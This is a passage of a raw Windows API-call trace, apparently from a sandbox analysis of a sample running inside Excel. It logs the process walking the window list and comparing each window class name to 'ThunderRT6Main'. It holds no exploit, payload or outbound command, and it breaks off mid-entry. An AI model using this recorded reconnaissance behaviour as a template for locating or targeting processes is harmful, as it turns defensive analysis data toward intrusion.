[0086.123] GetWindowThreadProcessId (in: hWnd=0x101d8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0086.123] GetWindowLongA (hWnd=0x101d8, nIndex=-16) returned -2046820352 [0086.123] GetWindowLongPtrA (hWnd=0x101d8, nIndex=-6) returned 0x0 [0086.123] GetWindowLongPtrA (hWnd=0x101d8, nIndex=-6) returned 0x0 [0086.123] GetWindow (hWnd=0x101d8, uCmd=0x2) returned 0x201b2 [0086.123] GetClassNameA (in: hWnd=0x201b2, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0086.123] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0086.123] GetWindowThreadProcessId (in: hWnd=0x201b2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0086.124] GetWindowLongA (hWnd=0x201b2, nIndex=-16) returned 114229248 [0086.124] GetWindowLongPtrA (hWnd=0x201b2, nIndex=-6) returned 0x13f4a0000 [0086.124] GetWindowLongPtrA (hWnd=0x201b2, nIndex=-6) returned 0x13f4a0000 [0086.124] GetWindow (hWnd=0x201b2, uCmd=0x2) returned 0x4010e [0086.124] GetClassNameA (in: hWnd=0x4010e, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="OfficePowerManagerWindow") returned 24 [0086.124] lstrcmpA (lpString1="OfficePowerManagerWindow", lpString2="ThunderRT6Main") returned -1 [0086.124] GetWindowThreadProcessId (in: hWnd=0x4010e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x944 [0086.124] GetWindow (hWnd=0x4010e, uCmd=0x2) returned 0x201ac [0086.124] GetClassNameA (in: hWnd=0x201ac, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="ARC Window Class O16") returned 20 [0086.124] lstrcmpA (lpString1="ARC Window Class O16", lpString2="ThunderRT6Main") returned -1 [0086.124] GetWindowThreadProcessId (in: hWnd=0x201ac, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0086.124] GetWindowLongA (hWnd=0x201ac, nIndex=-16) returned -2080374784 [0086.124] GetWindowLongPtrA (hWnd=0x201ac, nIndex=-6) returned 0x13f4a0000 [0086.124] GetWindowLongPtrA (hWnd=0x201ac, nIndex=-6) returned 0x13f4a0000 [0086.124] GetWindow (hWnd=0x201ac, uCmd=0x2) returned 0x1019c [0086.124] GetClassNameA (in: hWnd=0x1019c, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="IME") returned 3 [0086.124] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0086.124] GetWindowThreadProcessId (in: hWnd=0x1019c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7b8 [0086.124] GetWindow (hWnd=0x1019c, uCmd=0x2) returned 0x1019a [0086.124] GetClassNameA (in: hWnd=0x1019a, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="Stomach_harassment_") returned 19 [0086.124] lstrcmpA (lpString1="Stomach_harassment_", lpString2="ThunderRT6Main") returned -1 [0086.124] GetWindowThreadProcessId (in: hWnd=0x1019a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7b8 [0086.124] GetWindow (hWnd=0x1019a, uCmd=0x2) returned 0x20216 [0086.124] GetClassNameA (in: hWnd=0x20216, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14 [0086.124] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1 [0086.124] GetWindowThreadProcessId (in: hWnd=0x20216, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0086.124] GetWindowLongA (hWnd=0x20216, nIndex=-16) returned -2080374784 [0086.124] GetWindowLongPtrA (hWnd=0x20216, nIndex=-6) returned 0x7feffa40000 [0086.124] GetWindowLongPtrA (hWnd=0x20216, nIndex=-6) returned 0x7feffa40000 [0086.124] GetWindow (hWnd=0x20216, uCmd=0x2) returned 0x20206 [0086.124] GetClassNameA (in: hWnd=0x20206, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0086.125] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0086.125] GetWindowThreadProcessId (in: hWnd=0x20206, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0086.125] GetWindowLongA (hWnd=0x20206, nIndex=-16) returned 1149272145 [0086.125] GetWindow (hWnd=0x20206, uCmd=0x2) returned 0x101d4 [0086.125] GetClassNameA (in: hWnd=0x101d4, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0086.125] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0086.125] GetWindowThreadProcessId (in: hWnd=0x101d4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0086.125] GetWindowLongA (hWnd=0x101d4, nIndex=-16) returned 1149272145 [0086.125] GetWindow (hWnd=0x101d4, uCmd=0x2) returned 0x10196 [0086.125] GetClassNameA (in: hWnd=0x10196, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="Litwindow") returned 9 [0086.125] lstrcmpA (lpString1="Litwindow", lpString2="ThunderRT6Main") returned -1 [0086.125] GetWindowThreadProcessId (in: hWnd=0x10196, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x250 [0086.125] GetWindow (hWnd=0x10196, uCmd=0x2) returned 0x10198 [0086.125] GetClassNameA (in: hWnd=0x10198, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="IME") returned 3 [0086.125] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0086.125] GetWindowThreadProcessId (in: hWnd=0x10198, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x250 [0086.125] GetWindow (hWnd=0x10198, uCmd=0x2) returned 0x10192 [0086.125] GetClassNameA (in: hWnd=0x10192, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="Fed_bodies_wnd") returned 14 [0086.125] lstrcmpA (lpString1="Fed_bodies_wnd", lpString2="ThunderRT6Main") returned -1 [0086.125] GetWindowThreadProcessId (in: hWnd=0x10192, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5b4 [0086.125] GetWindow (hWnd=0x10192, uCmd=0x2) returned 0x10194 [0086.125] GetClassNameA (in: hWnd=0x10194, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="IME") returned 3 [0086.125] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0086.125] GetWindowThreadProcessId (in: hWnd=0x10194, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5b4 [0086.125] GetWindow (hWnd=0x10194, uCmd=0x2) returned 0x1018e [0086.125] GetClassNameA (in: hWnd=0x1018e, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="mauitellingWeightapp") returned 20 [0086.125] lstrcmpA (lpString1="mauitellingWeightapp", lpString2="ThunderRT6Main") returned -1 [0086.125] GetWindowThreadProcessId (in: hWnd=0x1018e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x704 [0086.125] GetWindow (hWnd=0x1018e, uCmd=0x2) returned 0x10190 [0086.125] GetClassNameA (in: hWnd=0x10190, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="IME") returned 3 [0086.125] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0086.125] GetWindowThreadProcessId (in: hWnd=0x10190, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x704 [0086.125] GetWindow (hWnd=0x10190, uCmd=0x2) returned 0x1018a [0086.126] GetClassNameA (in: hWnd=0x1018a, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="Buriedpositioncls") returned 17 [0086.126] lstrcmpA (lpString1="Buriedpositioncls", lpString2="ThunderRT6Main") returned -1 [0086.126] GetWindowThreadProcessId (in: hWnd=0x1018a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x584 [0086.126] GetWindow (hWnd=0x1018a, uCmd=0x2) returned 0x1018c [0086.126] GetClassNameA (in: hWnd=0x1018c, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="IME") returned 3 [0086.126] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0086.126] GetWindowThreadProcessId (in: hWnd=0x1018c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x584 [0086.126] GetWindow (hWnd=0x1018c, uCmd=0x2) returned 0x10186 [0086.126] GetClassNameA (in: hWnd=0x10186, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="translations_Massive_Mp_app") returned 27 [0086.126] lstrcmpA (lpString1="translations_Massive_Mp_app", lpString2="ThunderRT6Main") returned 1 [0086.126] GetWindowThreadProcessId (in: hWnd=0x10186, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x460 [0086.126] GetWindow (hWnd=0x10186, uCmd=0x2) returned 0x10188 [0086.126] GetClassNameA (in: hWnd=0x10188, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="IME") returned 3 [0086.126] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0086.126] GetWindowThreadProcessId (in: hWnd=0x10188, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x460 [0086.126] GetWindow (hWnd=0x10188, uCmd=0x2) returned 0x10182 [0086.126] GetClassNameA (in: hWnd=0x10182, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="vendor_win") returned 10 [0086.126] lstrcmpA (lpString1="vendor_win", lpString2="ThunderRT6Main") returned 1 [0086.126] GetWindowThreadProcessId (in: hWnd=0x10182, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x798 [0086.126] GetWindow (hWnd=0x10182, uCmd=0x2) returned 0x10184 [0086.126] GetClassNameA (in: hWnd=0x10184, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="IME") returned 3 [0086.126] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0086.126] GetWindowThreadProcessId (in: hWnd=0x10184, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x798 [0086.126] GetWindow (hWnd=0x10184, uCmd=0x2) returned 0x1017e [0086.126] GetClassNameA (in: hWnd=0x1017e, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="Uniformphotographwin") returned 20 [0086.126] lstrcmpA (lpString1="Uniformphotographwin", lpString2="ThunderRT6Main") returned 1 [0086.126] GetWindowThreadProcessId (in: hWnd=0x1017e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xf0 [0086.126] GetWindow (hWnd=0x1017e, uCmd=0x2) returned 0x10180 [0086.126] GetClassNameA (in: hWnd=0x10180, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="IME") returned 3 [0086.126] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0086.126] GetWindowThreadProcessId (in: hWnd=0x10180, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xf0 [0086.126] GetWindow (hWnd=0x10180, uCmd=0x2) returned 0x1017a [0086.127] GetClassNameA (in: hWnd=0x1017a, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="filingsunriseIdentificationwin") returned 30 [0086.127] lstrcmpA (lpString1="filingsunriseIdentificationwin", lpString2="ThunderRT6Main") returned -1 [0086.127] GetWindowThreadProcessId (in: hWnd=0x1017a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x42c [0086.127] GetWindow (hWnd=0x1017a, uCmd=0x2) returned 0x1017c [0086.127] GetClassNameA (in: hWnd=0x1017c, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="IME") returned 3 [0086.127] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0086.127] GetWindowThreadProcessId (in: hWnd=0x1017c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x42c [0086.127] GetWindow (hWnd=0x1017c, uCmd=0x2) returned 0x10176 [0086.127] GetClassNameA (in: hWnd=0x10176, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="Alt_wnd") returned 7 [0086.127] lstrcmpA (lpString1="Alt_wnd", lpString2="ThunderRT6Main") returned -1 [0086.127] GetWindowThreadProcessId (in: hWnd=0x10176, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x75c [0086.127] GetWindow (hWnd=0x10176, uCmd=0x2) returned 0x10178 [0086.127] GetClassNameA (in: hWnd=0x10178, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="IME") returned 3 [0086.127] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0086.127] GetWindowThreadProcessId (in: hWnd=0x10178, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x75c [0086.127] GetWindow (hWnd=0x10178, uCmd=0x2) returned 0x10172 [0086.127] GetClassNameA (in: hWnd=0x10172, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="testVotingdistributedwin") returned 24 [0086.127] lstrcmpA (lpString1="testVotingdistributedwin", lpString2="ThunderRT6Main") returned -1 [0086.127] GetWindowThreadProcessId (in: hWnd=0x10172, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x56c [0086.127] GetWindow (hWnd=0x10172, uCmd=0x2) returned 0x10174 [0086.127] GetClassNameA (in: hWnd=0x10174, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="IME") returned 3 [0086.127] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0086.127] GetWindowThreadProcessId (in: hWnd=0x10174, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x56c [0086.127] GetWindow (hWnd=0x10174, uCmd=0x2) returned 0x1016e [0086.127] GetClassNameA (in: hWnd=0x1016e, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="saferwin") returned 8 [0086.127] lstrcmpA (lpString1="saferwin", lpString2="ThunderRT6Main") returned -1 [0086.127] GetWindowThreadProcessId (in: hWnd=0x1016e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x58c [0086.127] GetWindow (hWnd=0x1016e, uCmd=0x2) returned 0x10170 [0086.127] GetClassNameA (in: hWnd=0x10170, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="IME") returned 3 [0086.127] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0086.127] GetWindowThreadProcessId (in: hWnd=0x10170, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x58c [0086.127] GetWindow (hWnd=0x10170, uCmd=0x2) returned 0x1016a [0086.127] GetClassNameA (in: hWnd=0x1016a, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="fancyInitiallywindow") returned 20 [0086.128] lstrcmpA (lpString1="fancyInitiallywindow", lpString2="ThunderRT6Main") returned -1 [0086.128] GetWindowThreadProcessId (in: hWnd=0x1016a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x620 [0086.128] GetWindow (hWnd=0x1016a, uCmd=0x2) returned 0x1016c [0086.128] GetClassNameA (in: hWnd=0x1016c, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="IME") returned 3 [0086.128] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0086.128] GetWindowThreadProcessId (in: hWnd=0x1016c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x620 [0086.128] GetWindow (hWnd=0x1016c, uCmd=0x2) returned 0x10166 [0086.128] GetClassNameA (in: hWnd=0x10166, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="remove_Thu_Annotation_wnd") returned 25 [0086.128] lstrcmpA (lpString1="remove_Thu_Annotation_wnd", lpString2="ThunderRT6Main") returned -1 [0086.128] GetWindowThreadProcessId (in: hWnd=0x10166, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7a0 [0086.128] GetWindow (hWnd=0x10166, uCmd=0x2) returned 0x10168 [0086.128] GetClassNameA (in: hWnd=0x10168, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="IME") returned 3 [0086.128] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0086.128] GetWindowThreadProcessId (in: hWnd=0x10168, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7a0 [0086.128] GetWindow (hWnd=0x10168, uCmd=0x2) returned 0x10162 [0086.128] GetClassNameA (in: hWnd=0x10162, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="pinelaboratoriesreferencedwin") returned 29 [0086.128] lstrcmpA (lpString1="pinelaboratoriesreferencedwin", lpString2="ThunderRT6Main") returned -1 [0086.128] GetWindowThreadProcessId (in: hWnd=0x10162, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6bc [0086.128] GetWindow (hWnd=0x10162, uCmd=0x2) returned 0x10164 [0086.128] GetClassNameA (in: hWnd=0x10164, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="IME") returned 3 [0086.128] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0086.128] GetWindowThreadProcessId (in: hWnd=0x10164, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6bc [0086.128] GetWindow (hWnd=0x10164, uCmd=0x2) returned 0x1015e [0086.128] GetClassNameA (in: hWnd=0x1015e, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="Matches_wnd") returned 11 [0086.128] lstrcmpA (lpString1="Matches_wnd", lpString2="ThunderRT6Main") returned -1 [0086.128] GetWindowThreadProcessId (in: hWnd=0x1015e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x744 [0086.128] GetWindow (hWnd=0x1015e, uCmd=0x2) returned 0x10160 [0086.128] GetClassNameA (in: hWnd=0x10160, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="IME") returned 3 [0086.128] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0086.128] GetWindowThreadProcessId (in: hWnd=0x10160, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x744 [0086.128] GetWindow (hWnd=0x10160, uCmd=0x2) returned 0x1015a [0086.128] GetClassNameA (in: hWnd=0x1015a, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="Fresh_cn_Eggs_wnd") returned 17 [0086.129] lstrcmpA (lpString1="Fresh_cn_Eggs_wnd", lpString2="ThunderRT6Main") returned -1 [0086.129] GetWindowThreadProcessId (in: hWnd=0x1015a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x508 [0086.129] GetWindow (hWnd=0x1015a, uCmd=0x2) returned 0x1015c [0086.129] GetClassNameA (in: hWnd=0x1015c, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="IME") returned 3 [0086.129] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0086.129] GetWindowThreadProcessId (in: hWnd=0x1015c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x508 [0086.129] GetWindow (hWnd=0x1015c, uCmd=0x2) returned 0x10156 [0086.129] GetClassNameA (in: hWnd=0x10156, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="what_Volkswagen_app") returned 19 [0086.129] lstrcmpA (lpString1="what_Volkswagen_app", lpString2="ThunderRT6Main") returned 1 [0086.129] GetWindowThreadProcessId (in: hWnd=0x10156, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x760 [0086.129] GetWindow (hWnd=0x10156, uCmd=0x2) returned 0x10158 [0086.129] GetClassNameA (in: hWnd=0x10158, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="IME") returned 3 [0086.129] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0086.129] GetWindowThreadProcessId (in: hWnd=0x10158, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x760 [0086.129] GetWindow (hWnd=0x10158, uCmd=0x2) returned 0x3010a [0086.129] GetClassNameA (in: hWnd=0x3010a, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="commit_Newman_Rings_win") returned 23 [0086.129] lstrcmpA (lpString1="commit_Newman_Rings_win", lpString2="ThunderRT6Main") returned -1 [0086.129] GetWindowThreadProcessId (in: hWnd=0x3010a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x348 [0086.129] GetWindow (hWnd=0x3010a, uCmd=0x2) returned 0x90154 [0086.129] GetClassNameA (in: hWnd=0x90154, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="IME") returned 3 [0086.129] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0086.129] GetWindowThreadProcessId (in: hWnd=0x90154, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x348 [0086.129] GetWindow (hWnd=0x90154, uCmd=0x2) returned 0x20116 [0086.129] GetClassNameA (in: hWnd=0x20116, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}") returned 52 [0086.129] lstrcmpA (lpString1="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}", lpString2="ThunderRT6Main") returned -1 [0086.129] GetWindowThreadProcessId (in: hWnd=0x20116, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a4 [0086.129] GetWindow (hWnd=0x20116, uCmd=0x2) returned 0x1014a [0086.129] GetClassNameA (in: hWnd=0x1014a, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="BluetoothNotificationAreaIconWindowClass") returned 40 [0086.129] lstrcmpA (lpString1="BluetoothNotificationAreaIconWindowClass", lpString2="ThunderRT6Main") returned -1 [0086.129] GetWindowThreadProcessId (in: hWnd=0x1014a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6d4 [0086.129] GetWindow (hWnd=0x1014a, uCmd=0x2) returned 0x10148 [0086.129] GetClassNameA (in: hWnd=0x10148, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="MS_WebcheckMonitor") returned 18 [0086.130] lstrcmpA (lpString1="MS_WebcheckMonitor", lpString2="ThunderRT6Main") returned -1 [0086.130] GetWindowThreadProcessId (in: hWnd=0x10148, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6b0 [0086.130] GetWindow (hWnd=0x10148, uCmd=0x2) returned 0x2013e [0086.130] GetClassNameA (in: hWnd=0x2013e, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="PNIHiddenWnd") returned 12 [0086.130] lstrcmpA (lpString1="PNIHiddenWnd", lpString2="ThunderRT6Main") returned -1 [0086.130] GetWindowThreadProcessId (in: hWnd=0x2013e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6d4 [0086.130] GetWindow (hWnd=0x2013e, uCmd=0x2) returned 0x10132 [0086.130] GetClassNameA (in: hWnd=0x10132, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="Media Center SSO") returned 16 [0086.130] lstrcmpA (lpString1="Media Center SSO", lpString2="ThunderRT6Main") returned -1 [0086.130] GetWindowThreadProcessId (in: hWnd=0x10132, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6b0 [0086.130] GetWindow (hWnd=0x10132, uCmd=0x2) returned 0x10134 [0086.130] GetClassNameA (in: hWnd=0x10134, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="IME") returned 3 [0086.130] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0086.130] GetWindowThreadProcessId (in: hWnd=0x10134, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6b0 [0086.130] GetWindow (hWnd=0x10134, uCmd=0x2) returned 0x1012a [0086.130] GetClassNameA (in: hWnd=0x1012a, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="ATL:000007FEFC1141F0") returned 20 [0086.130] lstrcmpA (lpString1="ATL:000007FEFC1141F0", lpString2="ThunderRT6Main") returned -1 [0086.130] GetWindowThreadProcessId (in: hWnd=0x1012a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6d4 [0086.130] GetWindow (hWnd=0x1012a, uCmd=0x2) returned 0x1012c [0086.130] GetClassNameA (in: hWnd=0x1012c, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="IME") returned 3 [0086.130] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0086.130] GetWindowThreadProcessId (in: hWnd=0x1012c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6d4 [0086.130] GetWindow (hWnd=0x1012c, uCmd=0x2) returned 0x10120 [0086.130] GetClassNameA (in: hWnd=0x10120, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="SystemTray_Main") returned 15 [0086.130] lstrcmpA (lpString1="SystemTray_Main", lpString2="ThunderRT6Main") returned -1 [0086.130] GetWindowThreadProcessId (in: hWnd=0x10120, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a4 [0086.130] GetWindow (hWnd=0x10120, uCmd=0x2) returned 0x10122 [0086.130] GetClassNameA (in: hWnd=0x10122, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="IME") returned 3 [0086.130] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0086.130] GetWindowThreadProcessId (in: hWnd=0x10122, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a4 [0086.130] GetWindow (hWnd=0x10122, uCmd=0x2) returned 0x1011e [0086.130] GetClassNameA (in: hWnd=0x1011e, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0086.131] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0086.131] GetWindowThreadProcessId (in: hWnd=0x1011e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a4 [0086.131] GetWindow (hWnd=0x1011e, uCmd=0x2) returned 0x200c0 [0086.131] GetClassNameA (in: hWnd=0x200c0, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0086.131] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0086.131] GetWindowThreadProcessId (in: hWnd=0x200c0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0086.131] GetWindow (hWnd=0x200c0, uCmd=0x2) returned 0x200ae [0086.131] GetClassNameA (in: hWnd=0x200ae, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="AUTHUI.DLL: Shutdown Choices Message Window") returned 43 [0086.131] lstrcmpA (lpString1="AUTHUI.DLL: Shutdown Choices Message Window", lpString2="ThunderRT6Main") returned -1 [0086.131] GetWindowThreadProcessId (in: hWnd=0x200ae, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0086.131] GetWindow (hWnd=0x200ae, uCmd=0x2) returned 0x200b0 [0086.131] GetClassNameA (in: hWnd=0x200b0, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="_SearchEditBoxFakeWindow") returned 24 [0086.131] lstrcmpA (lpString1="_SearchEditBoxFakeWindow", lpString2="ThunderRT6Main") returned -1 [0086.131] GetWindowThreadProcessId (in: hWnd=0x200b0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0086.131] GetWindow (hWnd=0x200b0, uCmd=0x2) returned 0x200b4 [0086.131] GetClassNameA (in: hWnd=0x200b4, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0086.131] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0086.131] GetWindowThreadProcessId (in: hWnd=0x200b4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0086.131] GetWindow (hWnd=0x200b4, uCmd=0x2) returned 0x200bc [0086.131] GetClassNameA (in: hWnd=0x200bc, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0086.131] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0086.131] GetWindowThreadProcessId (in: hWnd=0x200bc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0086.131] GetWindow (hWnd=0x200bc, uCmd=0x2) returned 0x300ca [0086.131] GetClassNameA (in: hWnd=0x300ca, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0086.131] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0086.131] GetWindowThreadProcessId (in: hWnd=0x300ca, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0086.131] GetWindow (hWnd=0x300ca, uCmd=0x2) returned 0x800a0 [0086.131] GetClassNameA (in: hWnd=0x800a0, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14 [0086.131] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1 [0086.131] GetWindowThreadProcessId (in: hWnd=0x800a0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0086.131] GetWindow (hWnd=0x800a0, uCmd=0x2) returned 0x20018 [0086.131] GetClassNameA (in: hWnd=0x20018, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="OneNoteM") returned 8 [0086.132] lstrcmpA (lpString1="OneNoteM", lpString2="ThunderRT6Main") returned -1 [0086.132] GetWindowThreadProcessId (in: hWnd=0x20018, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x54c [0086.132] GetWindow (hWnd=0x20018, uCmd=0x2) returned 0x2001a [0086.132] GetClassNameA (in: hWnd=0x2001a, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="IME") returned 3 [0086.132] 